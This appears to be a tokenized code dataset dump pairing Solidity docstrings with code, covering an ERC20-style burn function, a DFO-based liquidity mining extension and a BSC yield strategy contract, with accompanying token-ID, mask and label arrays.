0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
11013,
12,
2864,
966,
745,
892,
2845,
13,
203,
3639,
5024,
3849,
12,
3445,
2440,
39,
580,
74,
4216,
13,
203,
3639,
3903,
1476,
203,
3639,
1135,
261,
11890,
5034,
13,
203,
565,
288,
203,
3639,
327,
389,
7525,
39,
580,
74,
13937,
12,
6011,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/420/0x429D24232DBeF44c39e1D67C2E870a9EAf730ABa/sources/src/contracts/external/Coin.sol | @notice Burn coins from an address @param usr The address that will have its coins burned @param amount The amount of coins to burn/ | function burn(address usr, uint256 amount) external {
require(balanceOf[usr] >= amount, "Coin/insufficient-balance");
if (
usr != msg.sender && allowance[usr][msg.sender] != type(uint128).max
) {
require(
allowance[usr][msg.sender] >= amount,
"Coin/insufficient-allowance"
);
allowance[usr][msg.sender] = subtract(
allowance[usr][msg.sender],
amount
);
}
balanceOf[usr] = subtract(balanceOf[usr], amount);
totalSupply = subtract(totalSupply, amount);
emit Transfer(usr, address(0), amount);
}
| 13,226,199 | [
1,
38,
321,
276,
9896,
628,
392,
1758,
225,
16575,
1021,
1758,
716,
903,
1240,
2097,
276,
9896,
18305,
329,
225,
3844,
1021,
3844,
434,
276,
9896,
358,
18305,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18305,
12,
2867,
16575,
16,
2254,
5034,
3844,
13,
3903,
288,
203,
3639,
2583,
12,
12296,
951,
63,
13640,
65,
1545,
3844,
16,
315,
27055,
19,
2679,
11339,
17,
12296,
8863,
203,
3639,
309,
261,
203,
5411,
16575,
480,
1234,
18,
15330,
597,
1699,
1359,
63,
13640,
6362,
3576,
18,
15330,
65,
480,
618,
12,
11890,
10392,
2934,
1896,
203,
3639,
262,
288,
203,
5411,
2583,
12,
203,
7734,
1699,
1359,
63,
13640,
6362,
3576,
18,
15330,
65,
1545,
3844,
16,
203,
7734,
315,
27055,
19,
2679,
11339,
17,
5965,
1359,
6,
203,
5411,
11272,
203,
5411,
1699,
1359,
63,
13640,
6362,
3576,
18,
15330,
65,
273,
10418,
12,
203,
7734,
1699,
1359,
63,
13640,
6362,
3576,
18,
15330,
6487,
203,
7734,
3844,
203,
5411,
11272,
203,
3639,
289,
203,
3639,
11013,
951,
63,
13640,
65,
273,
10418,
12,
12296,
951,
63,
13640,
6487,
3844,
1769,
203,
3639,
2078,
3088,
1283,
273,
10418,
12,
4963,
3088,
1283,
16,
3844,
1769,
203,
3639,
3626,
12279,
12,
13640,
16,
1758,
12,
20,
3631,
3844,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: contracts\amm-aggregator\common\AMMData.sol
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
struct LiquidityPoolData {
address liquidityPoolAddress;
uint256 amount;
address tokenAddress;
bool amountIsLiquidityPool;
bool involvingETH;
address receiver;
}
struct SwapData {
bool enterInETH;
bool exitInETH;
address[] liquidityPoolAddresses;
address[] path;
address inputToken;
uint256 amount;
address receiver;
}
// File: contracts\liquidity-mining\LiquidityMiningData.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
struct LiquidityMiningSetupConfiguration {
bool add;
uint256 index;
LiquidityMiningSetup data;
}
// liquidity mining setup struct
struct LiquidityMiningSetup {
address ammPlugin; // amm plugin address used for this setup (eg. uniswap amm plugin address).
uint256 objectId; // items object id for the liquidity pool token.
address liquidityPoolTokenAddress; // address of the liquidity pool token
address mainTokenAddress; // eg. buidl address.
uint256 startBlock; // liquidity mining setup start block (used only if free is false).
uint256 endBlock; // liquidity mining setup end block (used only if free is false).
uint256 rewardPerBlock; // liquidity mining setup reward per single block.
uint256 currentRewardPerBlock; // liquidity mining setup current reward per single block.
uint256 totalSupply; // current liquidity added in this setup (used only if free is true).
uint256 lastBlockUpdate; // number of the block where an update was triggered.
uint256 maximumLiquidity; // maximum liquidity stakeable in the contract (used only if free is false).
uint256 currentStakedLiquidity; // currently staked liquidity (used only if free is false).
bool free; // if the setup is a free liquidity mining setup or a locked one.
uint256 renewTimes; // if the locked setup is renewable or if it's one time (used only if free is false).
uint256 penaltyFee; // fee paid when the user exits a still active locked liquidity mining setup (used only if free is false).
bool involvingETH; // if the setup involves ETH or not.
}
// position struct
struct LiquidityMiningPosition {
address uniqueOwner; // address representing the extension address, address(0) if objectId is populated.
uint256 setupIndex; // the setup index.
uint256 setupStartBlock; // liquidity mining setup start block (used only if free is false).
uint256 setupEndBlock; // liquidity mining setup end block (used only if free is false).
bool free; // if the setup is a free liquidity mining setup or a locked one.
// LiquidityPoolData liquidityPoolData; // amm liquidity pool data.
uint256 liquidityPoolTokenAmount;
uint256 reward; // position reward.
uint256 lockedRewardPerBlock; // position locked reward per block.
uint256 creationBlock; // block when this position was created.
}
// stake data struct
struct LiquidityMiningPositionRequest {
uint256 setupIndex; // index of the chosen setup.
uint256 amount; // amount of main token or liquidity pool token.
bool amountIsLiquidityPool; //true if user wants to directly share the liquidity pool token amount, false to add liquidity to AMM
address positionOwner; // position extension or address(0) [msg.sender].
}
// File: contracts\liquidity-mining\ILiquidityMiningExtension.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
pragma abicoder v2;
interface ILiquidityMiningExtension {
function init(bool byMint, address host) external;
function setHost(address host) external;
function data() external view returns(address liquidityMiningContract, bool byMint, address host, address rewardTokenAddress);
function transferTo(uint256 amount, address recipient) external;
function backToYou(uint256 amount) external payable;
function setLiquidityMiningSetups(LiquidityMiningSetupConfiguration[] memory liquidityMiningSetups, bool clearPinned, bool setPinned, uint256 pinnedIndex) external;
}
// File: contracts\liquidity-mining\ILiquidityMining.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
interface ILiquidityMining {
function _rewardTokenAddress() external view returns(address);
function setups() external view returns (LiquidityMiningSetup[] memory);
function setLiquidityMiningSetups(LiquidityMiningSetupConfiguration[] memory liquidityMiningSetups, bool clearPinned, bool setPinned, uint256 pinnedIndex) external;
}
// File: contracts\liquidity-mining\util\IERC20.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function safeApprove(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
}
// File: contracts\liquidity-mining\util\DFOHub.sol
// SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
interface IDoubleProxy {
function proxy() external view returns (address);
}
interface IMVDProxy {
function getMVDFunctionalitiesManagerAddress() external view returns(address);
function getMVDWalletAddress() external view returns (address);
function getStateHolderAddress() external view returns(address);
function submit(string calldata codeName, bytes calldata data) external payable returns(bytes memory returnData);
}
interface IMVDFunctionalitiesManager {
function getFunctionalityData(string calldata codeName) external view returns(address, uint256, string memory, address, uint256);
function isAuthorizedFunctionality(address functionality) external view returns(bool);
}
interface IStateHolder {
function getUint256(string calldata name) external view returns(uint256);
function getAddress(string calldata name) external view returns(address);
function clear(string calldata varName) external returns(string memory oldDataType, bytes memory oldVal);
}
// File: contracts\liquidity-mining\DFOBasedLiquidityMiningExtension.sol
//SPDX_License_Identifier: MIT
pragma solidity ^0.7.6;
//pragma abicoder v2;
contract DFOBasedLiquidityMiningExtension is ILiquidityMiningExtension {
string private constant FUNCTIONALITY_NAME = "manageLiquidityMining";
// wallet who has control on the extension
address internal _doubleProxy;
// mapping that contains all the liquidity mining contract linked to this extension
address internal _liquidityMiningContract;
// the reward token address linked to this liquidity mining contract
address internal _rewardTokenAddress;
// whether the token is by mint or by reserve
bool internal _byMint;
/** MODIFIERS */
/** @dev liquidityMiningOnly modifier used to check for unauthorized transfers. */
modifier liquidityMiningOnly() {
require(msg.sender == _liquidityMiningContract, "Unauthorized");
_;
}
/** @dev hostOnly modifier used to check for unauthorized edits. */
modifier hostOnly() {
require(_isFromDFO(msg.sender), "Unauthorized");
_;
}
/** PUBLIC METHODS */
function init(bool byMint, address host) public virtual override {
require(_liquidityMiningContract == address(0), "Already init");
require(host != address(0), "blank host");
_rewardTokenAddress = ILiquidityMining(_liquidityMiningContract = msg.sender)._rewardTokenAddress();
_byMint = byMint;
_doubleProxy = host;
}
/** @dev allows the DFO to update the double proxy address.
* @param newDoubleProxy new double proxy address.
*/
function setHost(address newDoubleProxy) public virtual override hostOnly {
_doubleProxy = newDoubleProxy;
}
function data() view public virtual override returns(address liquidityMiningContract, bool byMint, address host, address rewardTokenAddress) {
return (_liquidityMiningContract, _byMint, _doubleProxy, _rewardTokenAddress);
}
/** @dev transfers the input amount to the caller liquidity mining contract.
* @param amount amount of erc20 to transfer or mint.
*/
function transferTo(uint256 amount, address recipient) override public liquidityMiningOnly {
IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).submit(FUNCTIONALITY_NAME, abi.encode(address(0), 0, true, _rewardTokenAddress, recipient, amount, _byMint));
}
/** @dev transfers the input amount from the caller liquidity mining contract to the extension.
* @param amount amount of erc20 to transfer back or burn.
*/
function backToYou(uint256 amount) override payable public liquidityMiningOnly {
if(_rewardTokenAddress != address(0)) {
_safeTransferFrom(_rewardTokenAddress, msg.sender, address(this), amount);
_safeApprove(_rewardTokenAddress, _getFunctionalityAddress(), amount);
IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).submit(FUNCTIONALITY_NAME, abi.encode(address(0), 0, false, _rewardTokenAddress, msg.sender, amount, _byMint));
} else {
IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).submit{value : amount}(FUNCTIONALITY_NAME, abi.encode(address(0), 0, false, _rewardTokenAddress, msg.sender, amount, _byMint));
}
}
/** @dev this function calls the liquidity mining contract with the given address and sets the given liquidity mining setups.
* @param liquidityMiningSetups array containing all the liquidity mining setups.
* @param setPinned if we're updating the pinned setup or not.
* @param pinnedIndex new pinned setup index.
*/
function setLiquidityMiningSetups(LiquidityMiningSetupConfiguration[] memory liquidityMiningSetups, bool clearPinned, bool setPinned, uint256 pinnedIndex) public override hostOnly {
ILiquidityMining(_liquidityMiningContract).setLiquidityMiningSetups(liquidityMiningSetups, clearPinned, setPinned, pinnedIndex);
}
/** PRIVATE METHODS */
/** @dev this function returns the address of the functionality with the FUNCTIONALITY_NAME.
* @return functionalityAddress functionality FUNCTIONALITY_NAME address.
*/
function _getFunctionalityAddress() private view returns(address functionalityAddress) {
(functionalityAddress,,,,) = IMVDFunctionalitiesManager(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getMVDFunctionalitiesManagerAddress()).getFunctionalityData(FUNCTIONALITY_NAME);
}
/** @dev this function returns the address of the wallet of the linked DFO.
* @return linked DFO wallet address.
*/
function _getDFOWallet() private view returns(address) {
return IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getMVDWalletAddress();
}
/** @dev this function returns true if the sender is an authorized DFO functionality, false otherwise.
* @param sender address of the caller.
* @return true if the call is from a DFO, false otherwise.
*/
function _isFromDFO(address sender) private view returns(bool) {
return IMVDFunctionalitiesManager(IMVDProxy(IDoubleProxy(_doubleProxy).proxy()).getMVDFunctionalitiesManagerAddress()).isAuthorizedFunctionality(sender);
}
/** @dev function used to safely approve ERC20 transfers.
* @param erc20TokenAddress address of the token to approve.
* @param to receiver of the approval.
* @param value amount to approve for.
*/
function _safeApprove(address erc20TokenAddress, address to, uint256 value) internal virtual {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).approve.selector, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'APPROVE_FAILED');
}
/** @dev this function safely transfers the given ERC20 value from an address to another.
* @param erc20TokenAddress erc20 token address.
* @param from address from.
* @param to address to.
* @param value amount to transfer.
*/
function _safeTransferFrom(address erc20TokenAddress, address from, address to, uint256 value) private {
bytes memory returnData = _call(erc20TokenAddress, abi.encodeWithSelector(IERC20(erc20TokenAddress).transferFrom.selector, from, to, value));
require(returnData.length == 0 || abi.decode(returnData, (bool)), 'TRANSFERFROM_FAILED');
}
function _call(address location, bytes memory payload) private returns(bytes memory returnData) {
assembly {
let result := call(gas(), location, 0, add(payload, 0x20), mload(payload), 0, 0)
let size := returndatasize()
returnData := mload(0x40)
mstore(returnData, size)
let returnDataPayloadStart := add(returnData, 0x20)
returndatacopy(returnDataPayloadStart, 0, size)
mstore(0x40, add(returnDataPayloadStart, size))
switch result case 0 {revert(returnDataPayloadStart, size)}
}
}
} | position struct LiquidityPoolData liquidityPoolData; amm liquidity pool data. | struct LiquidityMiningPosition {
uint256 liquidityPoolTokenAmount;
}
| 132,071 | [
1,
3276,
1958,
511,
18988,
24237,
2864,
751,
4501,
372,
24237,
2864,
751,
31,
225,
2125,
81,
4501,
372,
24237,
2845,
501,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1697,
511,
18988,
24237,
2930,
310,
2555,
288,
203,
565,
2254,
5034,
4501,
372,
24237,
2864,
1345,
6275,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "../interfaces/IStrategy.sol";
import "../interfaces/IVault.sol";
import "../interfaces/IPancakeRouter02.sol";
import "../interfaces/IWaultSwapRouter02.sol";
import "../interfaces/ISwap.sol";
import "../interfaces/IWaultPair.sol";
import "../interfaces/INervePair.sol";
import "../interfaces/IWexMaster.sol";
import "../interfaces/IMasterMind.sol";
import "@pancakeswap/pancake-swap-lib/contracts/token/BEP20/IBEP20.sol";
import "@pancakeswap/pancake-swap-lib/contracts/token/BEP20/SafeBEP20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
contract Strategy is IStrategy, Ownable, Pausable {
using SafeBEP20 for IBEP20;
using SafeBEP20 for IWaultPair;
using SafeBEP20 for INervePair;
using SafeMath for uint256;
/* ============= CONSTANTS ============= */
IBEP20 private WBNB = IBEP20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
IBEP20 private ETH = IBEP20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8); // Binance Pegged ETH
IBEP20 private BETH = IBEP20(0x250632378E573c6Be1AC2f97Fcdf00515d0Aa91B);
IBEP20 private constant ANYETH =
IBEP20(0x6F817a0cE8F7640Add3bC0c1C2298635043c2423);
IBEP20 private constant WEX =
IBEP20(0xa9c41A46a6B3531d28d5c32F6633dd2fF05dFB90);
IBEP20 private constant NRV =
IBEP20(0x42F6f551ae042cBe50C739158b4f0CAC0Edb9096);
IWaultPair private constant ETH_BETH_LP =
IWaultPair(0x11040f3c467993556B19813d4A18b684598Ba4BD); // WaultSwap WETH-BETH LP
INervePair private constant ETH_ANYETH_LP =
INervePair(0x0d283BF16A9bdE49cfC48d8dc050AF28b71bdD90); // Nerve WETH-anyETH LP
IPancakeRouter02 private constant PANCAKE_ROUTER =
IPancakeRouter02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F); // PCS Router V2
IWaultSwapRouter02 private constant WAULT_ROUTER =
IWaultSwapRouter02(0xD48745E39BbED146eEC15b79cBF964884F9877c2); // WaultSwap Router
ISwap private constant NERVE_SWAP =
ISwap(0x146CD24dCc9f4EB224DFd010c5Bf2b0D25aFA9C0); // Nerve ETH-anyETH LP maker
IWexMaster private constant WAULT_FARM =
IWexMaster(0x22fB2663C7ca71Adc2cc99481C77Aaf21E152e2D); // Wault WETH-BETH Farm, pid = 42
IMasterMind private constant NERVE_FARM =
IMasterMind(0x2EBe8CDbCB5fB8564bC45999DAb8DA264E31f24E); // Nerve WETH-anyETH Farm, pid = 5
uint256 private constant WAULT_PID = 42;
uint256 private constant NERVE_PID = 5;
uint8 private constant ETH_NERVE_TOKEN_ID = 0;
uint8 private constant ANYETH_NERVE_TOKEN_ID = 1;
uint256 private constant DENOMINATOR = 10000;
uint256 private constant MAX_AMT = type(uint256).max;
uint256 private constant ONE = 1e18;
/* ========== STATE VARIABLES ========== */
// LP token price in ETH
uint256 public _price_ETH_BETH_LP; // Might not need
uint256 public _price_ETH_ANYETH_LP;
// Pool in ETH
uint256 public _pool_ETH_BETH_LP;
uint256 public _pool_ETH_ANYETH_LP;
address public admin;
address public communityWallet;
address public strategist;
IVault public vault;
// Farm Allocation Weights
uint256 public waultFarmPerc = 5000; // 50% allocation to Wault
uint256 public nerveFarmPerc = 5000; // 50% allocation to Nerve
// Fees
uint256 public yieldFeePerc = 1000; // 10% Yield fees
// Information
uint256 public totalWaultYield = 0;
uint256 public totalNerveYield = 0;
/* ============= MODIFIERS ============= */
modifier onlyAdmin {
require(msg.sender == address(admin), "Strategy:: Only Admin");
_;
}
modifier onlyVault {
require(msg.sender == address(vault), "Strategy:: Only Vault");
_;
}
/* ============== EVENTS ============== */
event Invested(uint256 ethInvested);
event LiquidityRemoved(
address lpToken,
uint256 liquidityRemoved,
uint256 amountA,
uint256 amountB,
address router
);
event LiquidityAdded(
address tokenA,
address tokenB,
uint256 amountA,
uint256 amountB,
uint256 liquidity,
address router
);
event SetVault(address vaultAddress);
event SetAdmin(address adminAddress);
event SetStrategist(address strategistAddress);
event Harvested(uint256 claimedWEX, uint256 claimedNRV);
event Withdrawn(uint256 amount, uint256 withdrawalFee);
/* ============ CONSTRUCTOR ============ */
constructor(
address _communityWallet,
address _strategist,
address _admin
) public {
require(
_communityWallet != address(0),
"Strategy::constructor: communityWallet does not exist"
);
communityWallet = _communityWallet;
strategist = _strategist;
admin = _admin;
ETH.safeApprove(address(PANCAKE_ROUTER), MAX_AMT);
ETH.safeApprove(address(WAULT_ROUTER), MAX_AMT);
ETH.safeApprove(address(NERVE_SWAP), MAX_AMT);
BETH.safeApprove(address(PANCAKE_ROUTER), MAX_AMT);
BETH.safeApprove(address(WAULT_ROUTER), MAX_AMT);
ANYETH.safeApprove(address(PANCAKE_ROUTER), MAX_AMT);
ANYETH.safeApprove(address(NERVE_SWAP), MAX_AMT);
ETH_BETH_LP.safeApprove(address(WAULT_FARM), MAX_AMT);
ETH_BETH_LP.safeApprove(address(WAULT_ROUTER), MAX_AMT);
ETH_ANYETH_LP.safeApprove(address(NERVE_FARM), MAX_AMT);
ETH_ANYETH_LP.safeApprove(address(NERVE_SWAP), MAX_AMT);
WEX.safeApprove(address(PANCAKE_ROUTER), MAX_AMT);
NRV.safeApprove(address(PANCAKE_ROUTER), MAX_AMT);
}
receive() external payable {
// ...
}
fallback() external {
// ...
}
/* =========== VIEW FUNCTIONS =========== */
/// @notice Get TVL of Strategy in ETH
function getStrategyPool()
public
view
override
returns (uint256 _valueInEth)
{
uint256 _valueInEth_ETH_BETH_LP = _pool_ETH_BETH_LP
.mul(_calcPriceETH_BETH_LP())
.div(1e18);
uint256 _valueInEth_ETH_ANYETH_LP = _pool_ETH_ANYETH_LP
.mul(_calcPriceETH_ANYETH_LP())
.div(1e18);
_valueInEth = _valueInEth_ETH_BETH_LP.add(_valueInEth_ETH_ANYETH_LP);
}
/* ========= MUTATIVE FUNCTIONS ========= */
/// @notice Invest tokens into Wault and Nerve Farms
/// @param _amount Amount of ETH to invest
function invest(uint256 _amount) public override onlyVault whenNotPaused {
require(_amount > 0, "Strategy::invest: Invest Amount <= 0");
ETH.safeTransferFrom(address(vault), address(this), _amount);
// Divide by 2 to maintain the 1:1 ETH:BETH for LP
uint256 _amountToBETH = _amount.mul(waultFarmPerc).div(2).div(
DENOMINATOR
);
uint256 _amountToANYETH = _amount.mul(nerveFarmPerc).div(2).div(
DENOMINATOR
);
uint256 _amountRemaining = _amount.sub(_amountToBETH).sub(
_amountToANYETH
);
uint256 _amountBETH = _swapETHforBETH(_amountToBETH);
uint256 _amountANYETH = _swapETHforANYETH(_amountToANYETH);
uint256 _amount_ETH_BETH_LP = _addLiquidityWault(
_amountRemaining.div(2),
_amountBETH
);
_amountRemaining = _amountRemaining.sub(_amountRemaining.div(2));
uint256 _amount_ETH_ANYETH_LP = _addLiquidityNerve(
_amountRemaining,
_amountANYETH
);
_investWault(_amount_ETH_BETH_LP);
_investNerve(_amount_ETH_ANYETH_LP);
// Update Pool
uint256 _pool_ETH_BETH_LP_before = _pool_ETH_BETH_LP;
(uint256 _pool_ETH_BETH_LP_after, , ) = WAULT_FARM.userInfo(
WAULT_PID,
address(this)
);
uint256 _pool_ETH_ANYETH_LP_before = _pool_ETH_ANYETH_LP;
(uint256 _pool_ETH_ANYETH_LP_after, ) = NERVE_FARM.userInfo(
NERVE_PID,
address(this)
);
_pool_ETH_BETH_LP = _pool_ETH_BETH_LP.add(
_pool_ETH_BETH_LP_after.sub(_pool_ETH_BETH_LP_before)
);
_pool_ETH_ANYETH_LP = _pool_ETH_ANYETH_LP.add(
_pool_ETH_ANYETH_LP_after.sub(_pool_ETH_ANYETH_LP_before)
);
emit Invested(_amount);
}
/// @notice Withdraw tokens from farms and swap into ETH
/// @dev Liquidate enough LP tokens to meet the amount, 50% from Wault and 50% from Nerve
function withdraw(uint256 _amount) public override onlyVault whenNotPaused {
require(_amount > 0, "Strategy::withdraw: Withdraw Amount <= 0)");
uint256 _strategyPool = getStrategyPool();
uint256 _amount_ETH_BETH_LP = _amount.mul(_pool_ETH_BETH_LP).div(
_strategyPool
);
